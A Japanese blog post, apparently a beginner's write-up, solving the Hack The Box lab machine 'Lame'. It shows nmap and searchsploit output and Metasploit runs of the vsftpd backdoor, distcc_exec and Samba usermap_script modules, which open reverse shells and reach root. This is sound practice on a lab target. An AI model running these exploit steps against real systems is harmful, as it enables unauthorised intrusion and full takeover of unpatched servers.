【Hack the Box write-up】Lame

February 22, 2020

筆者は Hack the Box 超絶初心者です。 (今回で machine 攻略 2 つ目)

なので、説明ガバガバな部分もあるかと思いますが、何か訂正などありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET

machine について

難易度は easy です。(easy の中でもかなり easy な部類です) スクリーンショット 2020-02-22 18.15.32.png

OSCP like な machine だそうです。 OSCP に類似している HTB マシン(Linux)

nmap する

kali@kali:~$ nmap -A -Pn 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 22:23 EST
Nmap scan report for 10.10.10.3
Host is up (0.20s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.99 seconds

わからない部分を調べていきます。

ftp - File Transfer Protocol
OpenSSH - ssh接続を可能にするソフトウェア
netbios-ssn - Windowsのファイル・アクセスには、「SMB(Server Message Block)」と呼ばれるアプリケーション層のプロトコルが利用されており、その下位のトランスポート層のサービスを呼び出すためにNetBIOSと呼ばれるインターフェイスが使われている。ファイル/プリンタ共有に使用されるのがnetbios-ssn。

(一部引用) Windows のファイル共有に用いられる NetBIOS とは?

searchsploit で exploit を探す

samba で調べると山ほど出てきてしまいましたが、vsftpd はピンポイントで 2.3.4 に Backdoor Command Execution がありました。

kali@kali:~$ searchsploit vsftpd
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                        |  Path
                                                                                                                                      | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption                                                                        | exploits/linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)                                                                        | exploits/windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)                                                                        | exploits/windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                                                                                                      | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                | exploits/unix/remote/17491.rb
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

vsftpd の Backdoor Command Execution を metasploit で試してみる

kali@kali:~$ msfconsole
[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***


Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)


Stack: 90909090990909090990909090
       90909090990909090990909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       ..........................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ccccccccc.................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       .................ccccccccc
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ..........................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffff..................
       ffffffff..................


Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing


       =[ metasploit v5.0.71-dev                          ]
+ -- --=[ 1962 exploits - 1095 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/ftp/vsftpd_234_backdoor) > rhosts 10.10.10.3
 `[-] Unknown command: rhosts.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

ダメでした。

似たようなことをやっていた以下の writeup よると Keep Calm and Hack The Box - Lame

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

一定の期間に配布された vsftpd でのみ使用できる exploit だったようです。

方向転換 - 再度 nmap を使う

nmap で全ポートをスキャンする -p- を使用して再度スキャンを行います。 (時間結構かかります。)

kali@kali:~$ nmap -A -p- -Pn 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 00:30 EST
Nmap scan report for 10.10.10.3
Host is up (0.18s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 424.53 seconds

新しく 3632 番ポートが見つかりました。

Distccd を調べてみます。 以下のページによると

Distcc はネットワーク上のホストで分散コンパイルを行うためのプログラムで、サーバー側である distccd とクライアント側である distcc で構成されています。

Distcc

distccd の exploit を探す

distccd で調べてもヒットしませんでしたが、distcc で調べると一件ヒットしました。

kali@kali:~$ searchsploit distccd
Exploits: No Result
Shellcodes: No Result
kali@kali:~$ searchsploit distcc
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                        |  Path
                                                                                                                                      | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
DistCC Daemon - Command Execution (Metasploit)                                                                                        | exploits/multiple/remote/9915.rb
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

metasploit で発見した exploit を使う

msf5 > search distccd

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution


msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > options

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   3632             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 10.10.14.2:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo CIL3xsonINn4nN5q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "CIL3xsonINn4nN5q\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.3:34512) at 2020-02-22 00:55:11 -0500

成功します。

user.txt の取得

user.txt は簡単に取得できます。

whoami
daemon

ls
5147.jsvc_up

cd
sh: line 8: cd: HOME not set

cd /home

ls
ftp
makis
service
user

cd user

ls

cd ..

cd makis

ls
user.txt

cat user.txt
hogehoge

cd ..

cd ftp

ls

cd ..

cd service

ls

cd ..

ls
ftp
makis
service
user

cd /

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

cd root

ls
Desktop
reset_logs.sh
root.txt
vnc.log

cat root.txt
cat: root.txt: Permission denied

(コマンドの入力出力がみにくいので、改行を入れています。)

当たり前ですが、権限が足りず root.txt は取れません

権限を上げる方法が分からなかったので、一旦撤退

一旦撤退して Samba をせめてみます。 以降以下の writeup を参考にして進めます。 Hackthebox – Lame

Samba の version が分からないとどの exploit を使用すればいいかわかりません。 なので scanner/smb/smb_version を用いて samba の version を調べてみます。

msf5 > search smb/smb_version

Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection


msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads (max one per host)

msf5 auxiliary(scanner/smb/smb_version) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 auxiliary(scanner/smb/smb_version) > run

[*] 10.10.10.3:445        - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.10.10.3:445        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Samba の version が 3.0.20-Debian であることがわかります。

Samba 3.0.20-Debian の exploit を探す

kali@kali:~$ searchsploit samba 3.0.20
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                        |  Path
                                                                                                                                      | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                                      | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                                                                 | exploits/linux/remote/7701.txt
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

上の 'Username' map script' を metasploit で使うことにします。

metasploit で root とる

msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP double handler on 10.10.14.2:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo AgFum7iWVU367md1;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "AgFum7iWVU367md1\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.3:53617) at 2020-02-22 03:53:03 -0500

whoami
root

cd /

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

cd root

cat root.txt
hogehoge

すんなり行けました!

その他の手法を用いてる writeup

昔は samba のバージョンが nmap で出てきていたらしくそれを用いて一発で multi/samba/usermap_script を使用し終わっている writeup が多かったです。

以下はそれ以外の writeup です。

https://medium.com/@nmappn/lame-hack-the-box-without-metasploit-1b3a138f9206

  • Samba の exploit をする際に metasploit を使わないパターンも書いてある

https://blog.csdn.net/fastergohome/article/details/104131154

  • samba 3.0-4.0 の exploit を当たりまくっている(道中で version を確定させて multi/samba/usermap_script を使う)

終わりに

今回は user.txt まではほぼ自力で行けましたが、そこから Samba の version 調べて、Samba に exploit の流れは色んな write-up を参考にして進めました。

easy の machine くらい最後まで自力で解けるようになりたいです。頑張ります。

このエントリーをはてなブックマークに追加